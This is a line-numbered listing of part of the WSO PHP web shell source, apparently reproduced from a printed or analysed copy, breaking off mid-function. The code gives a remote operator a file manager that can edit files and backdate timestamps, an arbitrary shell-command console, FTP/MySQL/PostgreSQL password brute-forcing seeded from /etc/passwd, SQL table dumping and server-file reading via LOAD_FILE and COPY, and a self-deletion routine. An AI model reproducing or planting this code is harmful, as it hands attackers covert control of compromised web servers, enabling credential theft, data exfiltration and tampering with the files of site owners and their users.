677            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
678      }
679      usort($files, "wsoCmp");
680      usort($dirs, "wsoCmp");
681      $files = array_merge($dirs, $files);
682      $l = 0;
683      foreach($files as $f) {
684         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]"
    value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f
    ['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view
    \')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f
    ['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . '
    ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</
    td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=#
    onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
    .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f
    ['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,
    \''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#"
    onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a
    href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download
    \')">D</a>':'').'</td></tr>';
686         $l = $l?0:1;
687      }
688      echo "<tr><td colspan=7>
689      <input type=hidden name=a value='FilesMan'>
690      <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
691      <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST
    ['charset']:'')."'>
692      <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</
    option><option value='delete'>Delete</option>";
693       if(class_exists('ZipArchive'))
694           echo "<option value='zip'>Compress (zip)</option><option
    value='unzip'>Uncompress (zip)</option>";
695       echo "<option value='tar'>Compress (tar.gz)</option>";
696       if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
697           echo "<option value='paste'>Paste / Compress</option>";
698       echo "</select> ";
699       if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip')
    || ($_COOKIE['act'] == 'tar')))
700           echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") .
    "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
701       echo "<input type='submit' value='>>'></td></tr></form></table></div>";
702      wsoFooter();
703
```

```
703 }
704
705 function actionStringTools() {
706    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
707     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
708    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen
    ($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
709    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen
    ($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
710    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;
    $i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
711    $stringTools = array(
712       'Base64 encode' => 'base64_encode',
713       'Base64 decode' => 'base64_decode',
714       'Url encode' => 'urlencode',
715       'Url decode' => 'urldecode',
716       'Full urlencode' => 'full_urlencode',
717       'md5 hash' => 'md5',
718       'sha1 hash' => 'sha1',
719       'crypt' => 'crypt',
720       'CRC32' => 'crc32',
721       'ASCII to HEX' => 'ascii2hex',
722       'HEX to ASCII' => 'hex2ascii',
723       'HEX to DEC' => 'hexdec',
724       'HEX to BIN' => 'hex2bin',
725       'DEC to HEX' => 'dechex',
726       'DEC to BIN' => 'decbin',
727       'BIN to HEX' => 'binhex',
728       'BIN to DEC' => 'bindec',
729       'String to lower case' => 'strtolower',
730       'String to upper case' => 'strtoupper',
731       'Htmlspecialchars' => 'htmlspecialchars',
732       'String length' => 'strlen',
733    );
734    if(isset($_POST['ajax'])) {
735       WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
736       ob_start();
737       if(in_array($_POST['p1'], $stringTools))
738          echo $_POST['p1']($_POST['p2']);
739       $temp = "document.getElementById
    ('strOutput').style.display='';document.getElementById
    ('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\
    \'\0")."';\n";
740       echo strlen($temp), "\n", $temp;
741       exit;
742    }
743     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
744       WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
745    wsoHeader();
746    echo '<h1>String conversions</h1><div class=content>';
747    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a
    (null,null,this.selectTool.value,this.input.value);}else{g
    (null,null,this.selectTool.value,this.input.value);} return false;'><select
    name='selectTool'>";
748    foreach($stringTools as $k => $v)
749       echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
750       echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax
    value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').">> send using
    AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST
    ['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1'
    style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
751    if(!empty($_POST['p1'])) {
752       if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST
    ['p2']));
753    }
754    echo"</pre></div><br><h1>Search files:</h1><div class=content>
755       <form onsubmit=\"g
```

```
(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
         <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
         <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
         <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
         <tr><td></td><td><input type='submit' value='>>'></td></tr>
         </table></form>";

   function wsoRecursiveGlob($path) {
      if(substr($path, -1) != '/')
         $path.='/';
      $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
      if(is_array($paths)&&@count($paths)) {
         foreach($paths as $item) {
            if(@is_dir($item)){
               if($path!=$item)
                  wsoRecursiveGlob($item);
            } else {
               if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
                  echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
            }
         }
      }
   }
   if(@$_POST['p3'])
      wsoRecursiveGlob($_POST['c']);
   echo "</div><br><h1>Search for hash:</h1><div class=content>
      <form method='post' target='_blank' name='hf'>
         <input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
         <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
         <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
      </form></div>";
   wsoFooter();
}

function actionFilesTools() {
   if( isset($_POST['p1']) )
      $_POST['p1'] = urldecode($_POST['p1']);
   if(@$_POST['p2']=='download') {
      if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
         ob_start("ob_gzhandler", 4096);
         header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
         if (function_exists("mime_content_type")) {
            $type = @mime_content_type($_POST['p1']);
            header("Content-Type: " . $type);
         } else
                header("Content-Type: application/octet-stream");
         $fp = @fopen($_POST['p1'], "r");
         if($fp) {
            while(!@feof($fp))
               echo @fread($fp, 1024);
            fclose($fp);
         }
      }exit;
   }

```

```
811     if( @$_POST['p2'] == 'mkfile' ) {
812        if(!file_exists($_POST['p1'])) {
813           $fp = @fopen($_POST['p1'], 'w');
814           if($fp) {
815              $_POST['p2'] = "edit";
816              fclose($fp);
817           }
818        }
819     }
820     wsoHeader();
821     echo '<h1>File tools</h1><div class=content>';
822     if( !file_exists(@$_POST['p1']) ) {
823        echo 'File not exists';
824        wsoFooter();
825        return;
826     }
827     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
828     if(!$uid) {
829        $uid['name'] = @fileowner($_POST['p1']);
830        $gid['name'] = @filegroup($_POST['p1']);
831     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
832     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</
    span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').'
    <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.
    $uid['name'].'/'.$gid['name'].'<br>';
833     echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).'
    <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify
    time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
834     if( empty($_POST['p2']) )
835        $_POST['p2'] = 'view';
836     if( is_file($_POST['p1']) )
837        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename',
    'Touch');
838     else
839        $m = array('Chmod', 'Rename', 'Touch');
840     foreach($m as $v)
841        echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',
    \''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</
    a> ';
842     echo '<br><br>';
843     switch($_POST['p2']) {
844        case 'view':
845           echo '<pre class=ml1>';
846           $fp = @fopen($_POST['p1'], 'r');
847           if($fp) {
848              while( !@feof($fp) )
849                 echo htmlspecialchars(@fread($fp, 1024));
850              @fclose($fp);
851           }
852           echo '</pre>';
853           break;
854        case 'highlight':
855           if( @is_readable($_POST['p1']) ) {
856              echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
857              $code = @highlight_file($_POST['p1'],true);
858              echo str_replace(array('<span ','</span>'), array('<font ','</font>'),
    $code).'</div>';
859           }
860           break;
861        case 'chmod':
862           if( !empty($_POST['p3']) ) {
863              $perms = 0;
864              for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
865                 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
866              if(!@chmod($_POST['p1'], $perms))
867                 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</
    script>';
868
```

```
868         }
869         clearstatcache();
870         echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode
    ($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod
    value="".substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit
    value=">>"></form>';
871         break;
872      case 'edit':
873         if( !is_writable($_POST['p1'])) {
874            echo 'File isn\'t writeable';
875            break;
876         }
877         if( !empty($_POST['p3']) ) {
878            $time = @filemtime($_POST['p1']);
879            $_POST['p3'] = substr($_POST['p3'],1);
880            $fp = @fopen($_POST['p1'],"w");
881            if($fp) {
882               @fwrite($fp,$_POST['p3']);
883               @fclose($fp);
884               echo 'Saved!<br><script>p3_="";</script>';
885               @touch($_POST['p1'],$time,$time);
886            }
887         }
888         echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1
    \'+this.text.value);return false;"><textarea name=text class=bigarea>';
889         $fp = @fopen($_POST['p1'], 'r');
890         if($fp) {
891            while( !@feof($fp) )
892               echo htmlspecialchars(@fread($fp, 1024));
893            @fclose($fp);
894         }
895         echo '</textarea><input type=submit value=">>"></form>';
896         break;
897      case 'hexdump':
898         $c = @file_get_contents($_POST['p1']);
899         $n = 0;
900         $h = array('00000000<br>','','');
901         $len = strlen($c);
902         for ($i=0; $i<$len; ++$i) {
903            $h[1] .= sprintf('%02X',ord($c[$i])).' ';
904            switch ( ord($c[$i]) ) {
905               case 0:  $h[2] .= ' '; break;
906               case 9:  $h[2] .= ' '; break;
907               case 10: $h[2] .= ' '; break;
908               case 13: $h[2] .= ' '; break;
909               default: $h[2] .= $c[$i]; break;
910            }
911            $n++;
912            if ($n == 32) {
913               $n = 0;
914               if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
915               $h[1] .= '<br>';
916               $h[2] .= "\n";
917            }
918         }
919         echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td
    bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td
    bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h
    [2]).'</pre></td></tr></table>';
920         break;
921      case 'rename':
922         if( !empty($_POST['p3']) ) {
923            if(!@rename($_POST['p1'], $_POST['p3']))
924               echo 'Can\'t rename!<br>';
925            else
926               die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</
    script>');
927
```

```
         }
         echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
         break;
      case 'touch':
         if( !empty($_POST['p3']) ) {
            $time = strtotime($_POST['p3']);
            if($time) {
               if(!touch($_POST['p1'],$time,$time))
                  echo 'Fail!';
               else
                  echo 'Touched!';
            } else echo 'Bad time format!';
         }
         clearstatcache();
         echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
         break;
   }
   echo '</div>';
   wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

   if(isset($_POST['ajax'])) {
      WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
      ob_start();
      echo "d.cf.cmd.value='';\n";
      $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
      if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))  {
         if(@chdir($match[1])) {
            $GLOBALS['cwd'] = @getcwd();
            echo "c_='".$GLOBALS['cwd']."';";
         }
      }
      echo "d.cf.output.value+='".$temp."';";
      echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
      $temp = ob_get_clean();
      echo strlen($temp), "\n", $temp;
      exit;
   }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
      WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
   wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
   var n = (window.Event) ? e.which : e.keyCode;
   if(n == 38) {
      cur--;
      if(cur>=0)
         document.cf.cmd.value = cmds[cur];
      else
         cur++;
   } else if(n == 40) {

```

```
988         cur++;
989         if(cur < cmds.length)
990            document.cf.cmd.value = cmds[cur];
991         else
992            cur--;
993      }
994   }
995   function add(cmd) {
996      cmds.pop();
997      cmds.push(cmd);
998      cmds.push('');
999      cur = cmds.length-1;
1000  }
1001  </script>";
1002     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==
     \'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add
     (this.cmd.value);if(this.ajax.checked){a
     (null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g
     (null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select
     name=alias>';
1003     foreach($GLOBALS['aliases'] as $n => $v) {
1004        if($v == '') {
1005           echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1006           continue;
1007        }
1008        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1009     }
1010
1011     echo '</select><input type=button onclick="add(d.cf.alias.value);if
     (d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else
     {g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>">
     <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER
     ['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox
     name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER
     ['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</
     nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;"
     readonly>';
1012     if(!empty($_POST['p1'])) {
1013        echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1014     }
1015     echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-
     top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input
     type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></
     table>';
1016     echo '</form></div><script>d.cf.cmd.focus();</script>';
1017     wsoFooter();
1018  }
1019
1020  function actionLogout() {
1021      setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1022     die('bye!');
1023  }
1024
1025  function actionSelfRemove() {
1026
1027     if($_POST['p1'] == 'yes')
1028        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1029           die('Shell has been removed');
1030        else
1031           echo 'unlink error!';
1032      if($_POST['p1'] != 'yes')
1033         wsoHeader();
1034     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a
     href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1035     wsoFooter();
1036  }
1037
1038
```

```
function actionBruteforce() {
   wsoHeader();
   if( isset($_POST['proto']) ) {
      echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
      if( $_POST['proto'] == 'ftp' ) {
         function wsoBruteForce($ip,$port,$login,$pass) {
            $fp = @ftp_connect($ip, $port?$port:21);
            if(!$fp) return false;
            $res = @ftp_login($fp, $login, $pass);
            @ftp_close($fp);
            return $res;
         }
      } elseif( $_POST['proto'] == 'mysql' ) {
         function wsoBruteForce($ip,$port,$login,$pass) {
            $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
            @mysql_close($res);
            return $res;
         }
      } elseif( $_POST['proto'] == 'pgsql' ) {
         function wsoBruteForce($ip,$port,$login,$pass) {
            $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
            $res = @pg_connect($str);
            @pg_close($res);
            return $res;
         }
      }
      $success = 0;
      $attempts = 0;
      $server = explode(":", $_POST['server']);
      if($_POST['type'] == 1) {
         $temp = @file('/etc/passwd');
         if( is_array($temp) )
            foreach($temp as $line) {
               $line = explode(":", $line);
               ++$attempts;
               if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                  $success++;
                  echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
               }
               if(@$_POST['reverse']) {
                  $tmp = "";
                  for($i=strlen($line[0])-1; $i>=0; --$i)
                     $tmp .= $line[0][$i];
                  ++$attempts;
                  if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                     $success++;
                     echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                  }
               }
            }
      } elseif($_POST['type'] == 2) {
         $temp = @file($_POST['dict']);
         if( is_array($temp) )
            foreach($temp as $line) {
               $line = trim($line);
               ++$attempts;
               if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                  $success++;
                  echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
               }
            }
      }

```

```
1100       echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1101    }
1102    echo '<h1>Bruteforce</h1><div class=content><table><form
     method=post><tr><td><span>Type</span></td>'
1103       .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</
     option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1104       .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1105       .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1106       .'<input type=hidden name=charset value="'.htmlspecialchars($_POST
     ['charset']).'">'
1107       .'<span>Server:port</span></td>'
1108       .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1109       .'<tr><td><span>Brute type</span></td>'
1110       .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></
     td></tr>'
1111       .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox
     name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1112       .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</
     label></td></tr>'
1113       .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></
     td>'
1114       .'<td><input type=text name=login value="root"></td></tr>'
1115       .'<tr><td><span>Dictionary</span></td>'
1116       .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS
     ['cwd']).'passwd.dic"></td></tr></table>'
1117       .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></
     table>';
1118    echo '</div><br>';
1119    wsoFooter();
1120 }
1121
1122 function actionSql() {
1123    class DbClass {
1124       var $type;
1125       var $link;
1126       var $res;
1127       function DbClass($type) {
1128          $this->type = $type;
1129       }
1130       function connect($host, $user, $pass, $dbname){
1131          switch($this->type)  {
1132             case 'mysql':
1133                if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1134                break;
1135             case 'pgsql':
1136                $host = explode(':', $host);
1137                if(!$host[1]) $host[1]=5432;
1138                if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user
     password=$pass dbname=$dbname") ) return true;
1139                break;
1140          }
1141          return false;
1142       }
1143       function selectdb($db) {
1144          switch($this->type)  {
1145             case 'mysql':
1146                if (@mysql_select_db($db))return true;
1147                break;
1148          }
1149          return false;
1150       }
1151       function query($str) {
1152          switch($this->type) {
1153             case 'mysql':
1154                return $this->res = @mysql_query($str);
1155                break;
1156             case 'pgsql':
1157
```

```
1157                return $this->res = @pg_query($this->link,$str);
1158                break;
1159             }
1160             return false;
1161          }
1162          function fetch() {
1163             $res = func_num_args()?func_get_arg(0):$this->res;
1164             switch($this->type)  {
1165                case 'mysql':
1166                   return @mysql_fetch_assoc($res);
1167                   break;
1168                case 'pgsql':
1169                   return @pg_fetch_assoc($res);
1170                   break;
1171             }
1172             return false;
1173          }
1174          function listDbs() {
1175             switch($this->type)  {
1176                case 'mysql':
1177                            return $this->query("SHOW databases");
1178                break;
1179                case 'pgsql':
1180                   return $this->res = $this->query("SELECT datname FROM pg_database WHERE
     datistemplate!='t'");
1181                break;
1182             }
1183             return false;
1184          }
1185          function listTables() {
1186             switch($this->type)  {
1187                case 'mysql':
1188                   return $this->res = $this->query('SHOW TABLES');
1189                break;
1190                case 'pgsql':
1191                   return $this->res = $this->query("select table_name from
     information_schema.tables where table_schema != 'information_schema' AND table_schema !
     = 'pg_catalog'");
1192                break;
1193             }
1194             return false;
1195          }
1196          function error() {
1197             switch($this->type)  {
1198                case 'mysql':
1199                   return @mysql_error();
1200                break;
1201                case 'pgsql':
1202                   return @pg_last_error();
1203                break;
1204             }
1205             return false;
1206          }
1207          function setCharset($str) {
1208             switch($this->type)  {
1209                case 'mysql':
1210                   if(function_exists('mysql_set_charset'))
1211                      return @mysql_set_charset($str, $this->link);
1212                   else
1213                      $this->query('SET CHARSET '.$str);
1214                   break;
1215                case 'pgsql':
1216                   return @pg_set_client_encoding($this->link, $str);
1217                   break;
1218             }
1219             return false;
1220          }
1221
```

```
1221      function loadFile($str) {
1222         switch($this->type)  {
1223            case 'mysql':
1224               return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes
     ($str)."') as file"));
1225            break;
1226            case 'pgsql':
1227               $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes
     ($str)."';select file from wso2;");
1228               $r=array();
1229               while($i=$this->fetch())
1230                  $r[] = $i['file'];
1231               $this->query('drop table wso2');
1232               return array('file'=>implode("\n",$r));
1233            break;
1234         }
1235         return false;
1236      }
1237      function dump($table, $fp = false) {
1238         switch($this->type)  {
1239            case 'mysql':
1240               $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1241               $create = mysql_fetch_array($res);
1242               $sql = $create[1].";\n";
1243                    if($fp) fwrite($fp, $sql); else echo($sql);
1244               $this->query('SELECT * FROM `'.$table.'`');
1245                    $i = 0;
1246                    $head = true;
1247               while($item = $this->fetch()) {
1248                        $sql = '';
1249                        if($i % 1000 == 0) {
1250                            $head = true;
1251                            $sql = ";\n\n";
1252                        }
1253
1254                  $columns = array();
1255                  foreach($item as $k=>$v) {
1256                            if($v === null)
1257                                $item[$k] = "NULL";
1258                            elseif(is_int($v))
1259                                $item[$k] = $v;
1260                            else
1261                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
1262                     $columns[] = "`".$k."`";
1263                  }
1264                        if($head) {
1265                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ",
     $columns).") VALUES \n\t(".implode(", ", $item).')';
1266                            $head = false;
1267                        } else
1268                            $sql .= "\n\t,(".implode(", ", $item).')';
1269                        if($fp) fwrite($fp, $sql); else echo($sql);
1270                        $i++;
1271               }
1272                    if(!$head)
1273                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1274            break;
1275            case 'pgsql':
1276               $this->query('SELECT * FROM '.$table);
1277               while($item = $this->fetch()) {
1278                  $columns = array();
1279                  foreach($item as $k=>$v) {
1280                     $item[$k] = "'".addslashes($v)."'";
1281                     $columns[] = $k;
1282                  }
1283                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).')
     VALUES ('.implode(", ", $item).');'."\n";
1284
```

```
1284                        if($fp) fwrite($fp, $sql); else echo($sql);
1285                }
1286            break;
1287         }
1288         return false;
1289      }
1290   };
1291   $db = new DbClass($_POST['type']);
1292   if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1293      $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST
     ['sql_base']);
1294      $db->selectdb($_POST['sql_base']);
1295        switch($_POST['charset']) {
1296            case "Windows-1251": $db->setCharset('cp1251'); break;
1297            case "UTF-8": $db->setCharset('utf8'); break;
1298            case "KOI8-R": $db->setCharset('koi8r'); break;
1299            case "KOI8-U": $db->setCharset('koi8u'); break;
1300            case "cp866": $db->setCharset('cp866'); break;
1301        }
1302        if(empty($_POST['file'])) {
1303            ob_start("ob_gzhandler", 4096);
1304            header("Content-Disposition: attachment; filename=dump.sql");
1305            header("Content-Type: text/plain");
1306            foreach($_POST['tbl'] as $v)
1307            $db->dump($v);
1308            exit;
1309        } elseif($fp = @fopen($_POST['file'], 'w')) {
1310            foreach($_POST['tbl'] as $v)
1311                $db->dump($v, $fp);
1312            fclose($fp);
1313            unset($_POST['p2']);
1314        } else
1315            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</
     script>');
1316   }
1317   wsoHeader();
1318   echo "
1319 <h1>Sql browser</h1><div class=content>
1320 <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2'
     cellspacing='0'><tr>
1321 <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></
     tr><tr>
1322 <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input
     type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars
     ($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST
     ['charset'])?$_POST['charset']:'') ."'>
1323 <td><select name='type'><option value='mysql' ";
1324    if(@$_POST['type']=='mysql')echo 'selected';
1325 echo ">MySql</option><option value='pgsql' ";
1326 if(@$_POST['type']=='pgsql')echo 'selected';
1327 echo ">PostgreSql</option></select></td>
1328 <td><input type=text name=sql_host value=\"". (empty($_POST
     ['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1329 <td><input type=text name=sql_login value=\"". (empty($_POST
     ['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1330 <td><input type=text name=sql_pass value=\"". (empty($_POST
     ['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1331   $tmp = "<input type=text name=sql_base value=''>";
1332   if(isset($_POST['sql_host'])){
1333      if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'],
     $_POST['sql_base'])) {
1334         switch($_POST['charset']) {
1335            case "Windows-1251": $db->setCharset('cp1251'); break;
1336            case "UTF-8": $db->setCharset('utf8'); break;
1337            case "KOI8-R": $db->setCharset('koi8r'); break;
1338            case "KOI8-U": $db->setCharset('koi8u'); break;
1339            case "cp866": $db->setCharset('cp866'); break;
1340
```

```
        }
        $db->listDbs();
        echo "<select name=sql_base><option value=''></option>";
        while($item = $db->fetch()) {
           list($key, $value) = each($item);
